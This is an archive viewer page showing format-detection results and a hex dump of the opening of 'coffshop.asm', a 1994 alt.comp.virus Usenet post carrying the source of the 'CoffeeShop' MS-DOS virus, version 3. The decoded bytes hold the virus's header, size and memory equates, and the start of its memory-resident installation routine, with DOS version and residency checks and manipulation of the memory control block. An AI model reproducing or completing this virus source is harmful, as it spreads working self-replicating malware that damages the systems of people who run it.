home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / coffshop.asm < prev    next >
Mailbox/MIME Entity  |  2003-06-11  |  59.9 KB
open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: coffshop.asm

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
100% dexvert Assembly Source File (text/asm) magic Supported
1% dexvert freeCAD assembly (other/freeCADAssembly) ext Unsupported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.dom", ASCII text, with CRLF, LF line terminators default
100% TrID E-Mail message (Var. 2) default
100% checkBytes Printable ASCII default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[LF] default (weak)
100% xdgMime application/mbox default


hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 68 6f |ix.netco|m.com!ho|
|00000020| 77 6c 61 6e 64 2e 72 65 | 73 74 6f 6e 2e 61 6e 73 |wland.re|ston.ans|
|00000030| 2e 6e 65 74 21 63 73 2e | 75 74 65 78 61 73 2e 65 |.net!cs.|utexas.e|
|00000040| 64 75 21 72 75 74 67 65 | 72 73 21 65 6e 67 72 2e |du!rutge|rs!engr.|
|00000050| 6f 72 73 74 2e 65 64 75 | 21 67 61 69 61 2e 75 63 |orst.edu|!gaia.uc|
|00000060| 73 2e 6f 72 73 74 2e 65 | 64 75 21 6d 79 68 6f 73 |s.orst.e|du!myhos|
|00000070| 74 2e 73 75 62 64 6f 6d | 61 69 6e 2e 64 6f 6d 61 |t.subdom|ain.doma|
|00000080| 69 6e 21 65 6e 69 67 6d | 61 20 54 75 65 20 4e 6f |in!enigm|a Tue No|
|00000090| 76 20 32 39 20 30 39 3a | 35 37 3a 30 31 20 31 39 |v 29 09:|57:01 19|
|000000a0| 39 34 0a 58 72 65 66 3a | 20 6e 65 74 63 6f 6d 2e |94.Xref:| netcom.|
|000000b0| 63 6f 6d 20 61 6c 74 2e | 63 6f 6d 70 2e 76 69 72 |com alt.|comp.vir|
|000000c0| 75 73 3a 34 39 33 0a 50 | 61 74 68 3a 20 6e 65 74 |us:493.P|ath: net|
|000000d0| 63 6f 6d 2e 63 6f 6d 21 | 69 78 2e 6e 65 74 63 6f |com.com!|ix.netco|
|000000e0| 6d 2e 63 6f 6d 21 68 6f | 77 6c 61 6e 64 2e 72 65 |m.com!ho|wland.re|
|000000f0| 73 74 6f 6e 2e 61 6e 73 | 2e 6e 65 74 21 63 73 2e |ston.ans|.net!cs.|
|00000100| 75 74 65 78 61 73 2e 65 | 64 75 21 72 75 74 67 65 |utexas.e|du!rutge|
|00000110| 72 73 21 65 6e 67 72 2e | 6f 72 73 74 2e 65 64 75 |rs!engr.|orst.edu|
|00000120| 21 67 61 69 61 2e 75 63 | 73 2e 6f 72 73 74 2e 65 |!gaia.uc|s.orst.e|
|00000130| 64 75 21 6d 79 68 6f 73 | 74 2e 73 75 62 64 6f 6d |du!myhos|t.subdom|
|00000140| 61 69 6e 2e 64 6f 6d 61 | 69 6e 21 65 6e 69 67 6d |ain.doma|in!enigm|
|00000150| 61 0a 46 72 6f 6d 3a 20 | 65 6e 69 67 6d 61 40 6d |a.From: |enigma@m|
|00000160| 79 68 6f 73 74 2e 73 75 | 62 64 6f 6d 61 69 6e 2e |yhost.su|bdomain.|
|00000170| 64 6f 6d 61 69 6e 20 28 | 54 68 65 20 43 6c 61 69 |domain (|The Clai|
|00000180| 72 76 6f 79 61 6e 74 29 | 0a 4e 65 77 73 67 72 6f |rvoyant)|.Newsgro|
|00000190| 75 70 73 3a 20 61 6c 74 | 2e 63 6f 6d 70 2e 76 69 |ups: alt|.comp.vi|
|000001a0| 72 75 73 0a 53 75 62 6a | 65 63 74 3a 20 43 6f 66 |rus.Subj|ect: Cof|
|000001b0| 66 73 68 6f 70 20 33 20 | 73 6f 75 72 63 65 0a 44 |fshop 3 |source.D|
|000001c0| 61 74 65 3a 20 32 38 20 | 4e 6f 76 20 31 39 39 34 |ate: 28 |Nov 1994|
|000001d0| 20 31 30 3a 30 32 3a 30 | 32 20 47 4d 54 0a 4f 72 | 10:02:0|2 GMT.Or|
|000001e0| 67 61 6e 69 7a 61 74 69 | 6f 6e 3a 20 53 74 72 69 |ganizati|on: Stri|
|000001f0| 6e 67 20 74 6f 20 70 75 | 74 20 69 6e 20 74 68 65 |ng to pu|t in the|
|00000200| 20 4f 72 67 61 6e 69 7a | 61 74 69 6f 6e 20 48 65 | Organiz|ation He|
|00000210| 61 64 65 72 0a 4c 69 6e | 65 73 3a 20 31 36 37 35 |ader.Lin|es: 1675|
|00000220| 0a 4d 65 73 73 61 67 65 | 2d 49 44 3a 20 3c 33 62 |.Message|-ID: <3b|
|00000230| 63 39 71 71 24 63 72 6c | 40 67 61 69 61 2e 75 63 |c9qq$crl|@gaia.uc|
|00000240| 73 2e 6f 72 73 74 2e 65 | 64 75 3e 0a 4e 4e 54 50 |s.orst.e|du>.NNTP|
|00000250| 2d 50 6f 73 74 69 6e 67 | 2d 48 6f 73 74 3a 20 74 |-Posting|-Host: t|
|00000260| 65 6d 70 65 73 74 2e 72 | 68 6e 2e 6f 72 73 74 2e |empest.r|hn.orst.|
|00000270| 65 64 75 0a 58 2d 4e 65 | 77 73 72 65 61 64 65 72 |edu.X-Ne|wsreader|
|00000280| 3a 20 54 49 4e 20 5b 76 | 65 72 73 69 6f 6e 20 31 |: TIN [v|ersion 1|
|00000290| 2e 32 20 50 4c 32 5d 0a | 0a 0a 3b 2a 2a 2a 2a 2a |.2 PL2].|..;*****|
|000002a0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000002b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000002c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000002d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000002e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 0d 0a 3b 2a 20 20 43 |********|*..;*  C|
|000002f0| 6f 66 66 65 65 53 68 6f | 70 20 56 49 52 55 53 20 |offeeSho|p VIRUS |
|00000300| 20 20 20 20 76 65 72 73 | 69 6f 6e 20 33 0d 0a 3b |    vers|ion 3..;|
|00000310| 2a 0d 0a 3b 2a 20 20 55 | 73 65 20 4d 41 53 4d 20 |*..;*  U|se MASM |
|00000320| 34 2e 30 20 74 6f 20 63 | 6f 6d 70 69 6c 65 20 74 |4.0 to c|ompile t|
|00000330| 68 69 73 20 73 6f 75 72 | 63 65 0d 0a 3b 2a 20 20 |his sour|ce..;*  |
|00000340| 28 6f 74 68 65 72 20 61 | 73 73 65 6d 62 6c 65 72 |(other a|ssembler|
|00000350| 73 20 77 69 6c 6c 20 70 | 72 6f 62 61 62 6c 79 20 |s will p|robably |
|00000360| 6e 6f 74 20 70 72 6f 64 | 75 63 65 20 74 68 65 20 |not prod|uce the |
|00000370| 73 61 6d 65 20 72 65 73 | 75 6c 74 29 0d 0a 3b 2a |same res|ult)..;*|
|00000380| 0d 0a 3b 2a 20 20 44 69 | 73 63 6c 61 69 6d 65 72 |..;*  Di|sclaimer|
|00000390| 3a 0d 0a 3b 2a 20 20 54 | 68 69 73 20 66 69 6c 65 |:..;*  T|his file|
|000003a0| 20 69 73 20 6f 6e 6c 79 | 20 66 6f 72 20 65 64 75 | is only| for edu|
|000003b0| 63 61 74 69 6f 6e 61 6c | 20 70 75 72 70 6f 73 65 |cational| purpose|
|000003c0| 73 2e 20 54 68 65 20 61 | 75 74 68 6f 72 20 74 61 |s. The a|uthor ta|
|000003d0| 6b 65 73 20 6e 6f 0d 0a | 3b 2a 20 20 72 65 73 70 |kes no..|;*  resp|
|000003e0| 6f 6e 73 69 62 69 6c 69 | 74 79 20 66 6f 72 20 61 |onsibili|ty for a|
|000003f0| 6e 79 74 68 69 6e 67 20 | 61 6e 79 6f 6e 65 20 64 |nything |anyone d|
|00000400| 6f 65 73 20 77 69 74 68 | 20 74 68 69 73 20 66 69 |oes with| this fi|
|00000410| 6c 65 2e 20 44 6f 20 6e | 6f 74 0d 0a 3b 2a 20 20 |le. Do n|ot..;*  |
|00000420| 6d 6f 64 69 66 79 20 74 | 68 69 73 20 66 69 6c 65 |modify t|his file|
|00000430| 21 0d 0a 3b 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |!..;****|********|
|00000440| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000450| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000460| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000470| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000480| 2a 2a 0d 0a 20 0d 0a 0d | 0a 20 20 20 20 20 20 20 |**.. ...|.       |
|00000490| 20 20 20 20 20 20 20 20 | 20 2e 52 41 44 49 58 20 |        | .RADIX |
|000004a0| 20 31 36 0d 0a 0d 0a 0d | 0a 5f 54 45 58 54 20 20 | 16.....|._TEXT  |
|000004b0| 20 20 20 20 20 20 20 20 | 20 73 65 67 6d 65 6e 74 |        | segment|
|000004c0| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|000004d0| 20 20 20 20 61 73 73 75 | 6d 65 20 20 63 73 3a 5f |    assu|me  cs:_|
|000004e0| 54 45 58 54 2c 20 64 73 | 3a 5f 54 45 58 54 0d 0a |TEXT, ds|:_TEXT..|
|000004f0| 0d 0a 0d 0a 56 45 52 53 | 49 4f 4e 20 20 20 20 20 |....VERS|ION     |
|00000500| 20 20 20 20 65 71 75 20 | 20 20 20 20 33 0d 0a 50 |    equ |    3..P|
|00000510| 49 43 4c 45 4e 20 20 20 | 20 20 20 20 20 20 20 65 |ICLEN   |       e|
|00000520| 71 75 20 20 20 20 20 6c | 61 73 74 20 2d 20 62 65 |qu     l|ast - be|
|00000530| 65 6c 64 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |eld     |       ;|
|00000540| 6c 65 6e 67 74 68 20 6f | 66 20 70 69 63 74 75 72 |length o|f pictur|
|00000550| 65 20 72 6f 75 74 69 6e | 65 0d 0a 46 49 4c 45 4c |e routin|e..FILEL|
|00000560| 45 4e 20 20 20 20 20 20 | 20 20 20 65 71 75 20 20 |EN      |   equ  |
|00000570| 20 20 20 6c 61 73 74 20 | 2d 20 66 69 72 73 74 20 |   last |- first |
|00000580| 20 20 20 20 20 20 20 20 | 20 20 20 3b 6c 65 6e 67 |        |   ;leng|
|00000590| 74 68 20 6f 66 20 76 69 | 72 75 73 0d 0a 46 49 4c |th of vi|rus..FIL|
|000005a0| 45 50 41 52 20 20 20 20 | 20 20 20 20 20 65 71 75 |EPAR    |     equ|
|000005b0| 20 20 20 20 20 28 46 49 | 4c 45 4c 45 4e 20 2b 20 |     (FI|LELEN + |
|000005c0| 30 46 29 2f 31 30 20 20 | 20 20 20 20 20 3b 6c 65 |0F)/10  |     ;le|
|000005d0| 6e 67 74 68 20 6f 66 20 | 76 69 72 75 73 20 69 6e |ngth of |virus in|
|000005e0| 20 70 61 72 61 67 72 61 | 70 68 73 0d 0a 56 49 52 | paragra|phs..VIR|
|000005f0| 50 41 52 20 20 20 20 20 | 20 20 20 20 20 65 71 75 |PAR     |     equ|
|00000600| 20 20 20 20 20 30 30 44 | 30 20 20 20 20 20 20 20 |     00D|0       |
|00000610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 73 70 |        |     ;sp|
|00000620| 61 63 65 20 66 6f 72 20 | 72 65 73 69 64 65 6e 74 |ace for |resident|
|00000630| 20 76 69 72 75 73 0d 0a | 57 4f 52 4b 50 41 52 20 | virus..|WORKPAR |
|00000640| 20 20 20 20 20 20 20 20 | 65 71 75 20 20 20 20 20 |        |equ     |
|00000650| 30 31 36 30 20 20 20 20 | 20 20 20 20 20 20 20 20 |0160    |        |
|00000660| 20 20 20 20 20 20 20 20 | 3b 77 6f 72 6b 20 73 70 |        |;work sp|
|00000670| 61 63 65 20 66 6f 72 20 | 65 6e 67 69 6e 65 0d 0a |ace for |engine..|
|00000680| 53 54 41 43 4b 4f 46 46 | 20 20 20 20 20 20 20 20 |STACKOFF|        |
|00000690| 65 71 75 20 20 20 20 20 | 31 30 30 30 20 20 20 20 |equ     |1000    |
|000006a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000006b0| 3b 53 74 61 63 6b 20 6f | 66 66 73 65 74 0d 0a 44 |;Stack o|ffset..D|
|000006c0| 41 54 41 50 41 52 20 20 | 20 20 20 20 20 20 20 65 |ATAPAR  |       e|
|000006d0| 71 75 20 20 20 20 20 30 | 30 35 30 20 20 20 20 20 |qu     0|050     |
|000006e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|000006f0| 65 78 74 72 61 20 6d 65 | 6d 6f 72 79 20 61 6c 6c |extra me|mory all|
|00000700| 6f 63 61 74 65 64 0d 0a | 42 55 46 4c 45 4e 20 20 |ocated..|BUFLEN  |
|00000710| 20 20 20 20 20 20 20 20 | 65 71 75 20 20 20 20 20 |        |equ     |
|00000720| 31 43 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1C      |        |
|00000730| 20 20 20 20 20 20 20 20 | 3b 6c 65 6e 67 74 68 20 |        |;length |
|00000740| 6f 66 20 62 75 66 66 65 | 72 0d 0a 0d 0a 0d 0a 3b |of buffe|r......;|
|00000750| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000760| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000770| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000780| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000790| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 0d 0a 3b 2a |********|****..;*|
|000007a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 64 61 |        |      da|
|000007b0| 74 61 20 61 72 65 61 20 | 66 6f 72 20 76 69 72 75 |ta area |for viru|
|000007c0| 73 0d 0a 3b 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |s..;****|********|
|000007d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000007e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000007f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000800| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000810| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|00000820| 20 20 20 20 6f 72 67 20 | 20 20 20 20 30 30 45 30 |    org |    00E0|
|00000830| 0d 0a 0d 0a 6d 75 74 73 | 74 61 63 6b 20 20 20 20 |....muts|tack    |
|00000840| 20 20 20 20 64 77 20 20 | 20 20 20 20 30 2c 20 30 |    dw  |    0, 0|
|00000850| 0d 0a 6f 6c 64 6c 65 6e | 20 20 20 20 20 20 20 20 |..oldlen|        |
|00000860| 20 20 64 77 20 20 20 20 | 20 20 30 2c 20 30 0d 0a |  dw    |  0, 0..|
|00000870| 6f 69 32 31 20 20 20 20 | 20 20 20 20 20 20 20 20 |oi21    |        |
|00000880| 64 77 20 20 20 20 20 20 | 30 2c 20 30 0d 0a 6d 69 |dw      |0, 0..mi|
|00000890| 6e 69 62 75 66 20 20 20 | 20 20 20 20 20 20 64 62 |nibuf   |      db|
|000008a0| 20 20 20 20 20 20 30 2c | 20 30 2c 20 30 2c 20 30 |      0,| 0, 0, 0|
|000008b0| 0d 0a 0d 0a 0d 0a 3b 2a | 2a 2a 2a 2a 2a 2a 2a 2a |......;*|********|
|000008c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000008d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000008e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000008f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000900| 2a 2a 2a 0d 0a 3b 2a 20 | 20 20 20 20 20 20 20 20 |***..;* |        |
|00000910| 20 20 20 20 20 64 61 74 | 61 20 61 72 65 61 20 66 |     dat|a area f|
|00000920| 6f 72 20 65 6e 67 69 6e | 65 0d 0a 3b 2a 2a 2a 2a |or engin|e..;****|
|00000930| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000940| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000950| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000960| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000970| 2a 2a 2a 2a 2a 2a 2a 2a | 0d 0a 0d 0a 61 64 64 5f |********|....add_|
|00000980| 76 61 6c 20 20 20 20 20 | 20 20 20 20 64 77 20 20 |val     |    dw  |
|00000990| 20 20 20 20 30 0d 0a 78 | 6f 72 5f 76 61 6c 20 20 |    0..x|or_val  |
|000009a0| 20 20 20 20 20 20 20 64 | 77 20 20 20 20 20 20 30 |       d|w      0|
|000009b0| 0d 0a 78 6f 72 5f 6f 66 | 66 73 65 74 20 20 20 20 |..xor_of|fset    |
|000009c0| 20 20 64 77 20 20 20 20 | 20 20 30 0d 0a 77 68 65 |  dw    |  0..whe|
|000009d0| 72 65 5f 6c 65 6e 20 20 | 20 20 20 20 20 64 77 20 |re_len  |     dw |
|000009e0| 20 20 20 20 20 30 0d 0a | 77 68 65 72 65 5f 6c 65 |     0..|where_le|
|000009f0| 6e 32 20 20 20 20 20 20 | 64 77 20 20 20 20 20 20 |n2      |dw      |
|00000a00| 30 0d 0a 66 6c 61 67 73 | 20 20 20 20 20 20 20 20 |0..flags|        |
|00000a10| 20 20 20 64 62 20 20 20 | 20 20 20 30 0d 0a 0d 0a |   db   |   0....|
|00000a20| 0d 0a 3b 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |..;*****|********|
|00000a30| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000a40| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000a50| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000a60| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000a70| 2a 0d 0a 3b 2a 20 20 20 | 20 20 20 20 20 20 20 20 |*..;*   |        |
|00000a80| 20 20 20 42 65 67 69 6e | 20 6f 66 20 76 69 72 75 |   Begin| of viru|
|00000a90| 73 2c 20 69 6e 73 74 61 | 6c 6c 61 74 69 6f 6e 20 |s, insta|llation |
|00000aa0| 69 6e 20 6d 65 6d 6f 72 | 79 0d 0a 3b 2a 2a 2a 2a |in memor|y..;****|
|00000ab0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000ac0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000ad0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000ae0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00000af0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 0d 0a 0d 0a 20 20 |********|**....  |
|00000b00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6f 72 |        |      or|
|00000b10| 67 20 20 20 20 20 30 31 | 30 30 0d 0a 0d 0a 66 69 |g     01|00....fi|
|00000b20| 72 73 74 3a 20 20 20 20 | 20 20 20 20 20 20 63 61 |rst:    |      ca|
|00000b30| 6c 6c 20 20 20 20 6e 65 | 78 74 20 20 20 20 20 20 |ll    ne|xt      |
|00000b40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 67 |        |      ;g|
|00000b50| 65 74 20 49 50 0d 0a 6e | 65 78 74 3a 20 20 20 20 |et IP..n|ext:    |
|00000b60| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 73 |       p|op     s|
|00000b70| 69 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |i....   |        |
|00000b80| 20 20 20 20 20 73 75 62 | 20 20 20 20 20 73 69 2c |     sub|     si,|
|00000b90| 6c 6f 77 20 33 20 20 20 | 20 20 20 20 20 20 20 20 |low 3   |        |
|00000ba0| 20 20 20 20 20 3b 53 49 | 20 3d 20 62 65 67 69 6e |     ;SI| = begin|
|00000bb0| 20 76 69 72 75 73 0d 0a | 20 20 20 20 20 20 20 20 | virus..|        |
|00000bc0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00000bd0| 64 69 2c 30 31 30 30 0d | 0a 20 20 20 20 20 20 20 |di,0100.|.       |
|00000be0| 20 20 20 20 20 20 20 20 | 20 63 6c 64 0d 0a 0d 0a |        | cld....|
|00000bf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000c00| 70 75 73 68 20 20 20 20 | 61 78 20 20 20 20 20 20 |push    |ax      |
|00000c10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000c20| 3b 73 61 76 65 20 72 65 | 67 69 73 74 65 72 73 0d |;save re|gisters.|
|00000c30| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000c40| 20 70 75 73 68 20 20 20 | 20 64 73 0d 0a 20 20 20 | push   | ds..   |
|00000c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 75 73 |        |     pus|
|00000c60| 68 20 20 20 20 65 73 0d | 0a 20 20 20 20 20 20 20 |h    es.|.       |
|00000c70| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |        | push   |
|00000c80| 20 64 69 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | di..   |        |
|00000c90| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 73 69 0d |     pus|h    si.|
|00000ca0| 0a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |...     |        |
|00000cb0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 33 30 |   mov  |   ah,30|
|00000cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000cd0| 20 20 20 3b 44 4f 53 20 | 76 65 72 73 69 6f 6e 20 |   ;DOS |version |
|00000ce0| 3e 3d 20 33 2e 31 3f 0d | 0a 20 20 20 20 20 20 20 |>= 3.1?.|.       |
|00000cf0| 20 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 |        | int    |
|00000d00| 20 32 31 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | 21..   |        |
|00000d10| 20 20 20 20 20 78 63 68 | 67 20 20 20 20 61 68 2c |     xch|g    ah,|
|00000d20| 61 6c 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |al..    |        |
|00000d30| 20 20 20 20 63 6d 70 20 | 20 20 20 20 61 78 2c 30 |    cmp |    ax,0|
|00000d40| 33 30 41 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |30A..   |        |
|00000d50| 20 20 20 20 20 6a 62 20 | 20 20 20 20 20 6e 6f 74 |     jb |     not|
|00000d60| 5f 69 6e 73 74 61 6c 6c | 0d 0a 0d 0a 20 20 20 20 |_install|....    |
|00000d70| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00000d80| 20 20 20 20 61 78 2c 33 | 33 44 41 20 20 20 20 20 |    ax,3|3DA     |
|00000d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 61 6c 72 |        |    ;alr|
|00000da0| 65 61 64 79 20 72 65 73 | 69 64 65 6e 74 3f 0d 0a |eady res|ident?..|
|00000db0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000dc0| 69 6e 74 20 20 20 20 20 | 32 31 0d 0a 20 20 20 20 |int     |21..    |
|00000dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 |        |    cmp |
|00000de0| 20 20 20 20 61 68 2c 30 | 41 35 0d 0a 20 20 20 20 |    ah,0|A5..    |
|00000df0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 65 20 20 |        |    je  |
|00000e00| 20 20 20 20 6e 6f 74 5f | 69 6e 73 74 61 6c 6c 0d |    not_|install.|
|00000e10| 0a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |...     |        |
|00000e20| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 65 73 |   mov  |   ax,es|
|00000e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000e40| 20 20 20 3b 61 64 6a 75 | 73 74 20 6d 65 6d 6f 72 |   ;adju|st memor|
|00000e50| 79 2d 73 69 7a 65 0d 0a | 20 20 20 20 20 20 20 20 |y-size..|        |
|00000e60| 20 20 20 20 20 20 20 20 | 64 65 63 20 20 20 20 20 |        |dec     |
|00000e70| 61 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax..    |        |
|00000e80| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 73 2c 61 |    mov |    ds,a|
|00000e90| 78 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x..     |        |
|00000ea0| 20 20 20 78 6f 72 20 20 | 20 20 20 62 78 2c 62 78 |   xor  |   bx,bx|
|00000eb0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00000ec0| 20 20 63 6d 70 20 20 20 | 20 20 62 79 74 65 20 70 |  cmp   |  byte p|
|00000ed0| 74 72 20 5b 62 78 5d 2c | 35 41 0d 0a 20 20 20 20 |tr [bx],|5A..    |
|00000ee0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 6e 65 20 |        |    jne |
|00000ef0| 20 20 20 20 6e 6f 74 5f | 69 6e 73 74 61 6c 6c 0d |    not_|install.|
|00000f00| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000f10| 20 6d 6f 76 20 20 20 20 | 20 61 78 2c 5b 62 78 2b | mov    | ax,[bx+|
|00000f20| 33 5d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |3]..    |        |
|00000f30| 20 20 20 20 73 75 62 20 | 20 20 20 20 61 78 2c 28 |    sub |    ax,(|
|00000f40| 56 49 52 50 41 52 2b 57 | 4f 52 4b 50 41 52 29 0d |VIRPAR+W|ORKPAR).|
|00000f50| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000f60| 20 6a 62 20 20 20 20 20 | 20 6e 6f 74 5f 69 6e 73 | jb     | not_ins|
|00000f70| 74 61 6c 6c 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |tall..  |        |
|00000f80| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 5b 62 |      mo|v     [b|
|00000f90| 78 2b 33 5d 2c 61 78 0d | 0a 20 20 20 20 20 20 20 |x+3],ax.|.       |
|00000fa0| 20 20 20 20 20 20 20 20 | 20 73 75 62 20 20 20 20 |        | sub    |
|00000fb0| 20 77 6f 72 64 20 70 74 | 72 20 64 73 3a 5b 62 78 | word pt|r ds:[bx|
|00000fc0| 2b 31 32 5d 2c 28 56 49 | 52 50 41 52 2b 57 4f 52 |+12],(VI|RPAR+WOR|
|00000fd0| 4b 50 41 52 29 0d 0a 0d | 0a 20 20 20 20 20 20 20 |KPAR)...|.       |
|00000fe0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00000ff0| 20 65 73 2c 5b 62 78 2b | 31 32 5d 20 20 20 20 20 | es,[bx+|12]     |
|00001000| 20 20 20 20 20 20 20 20 | 20 3b 63 6f 70 79 20 70 |        | ;copy p|
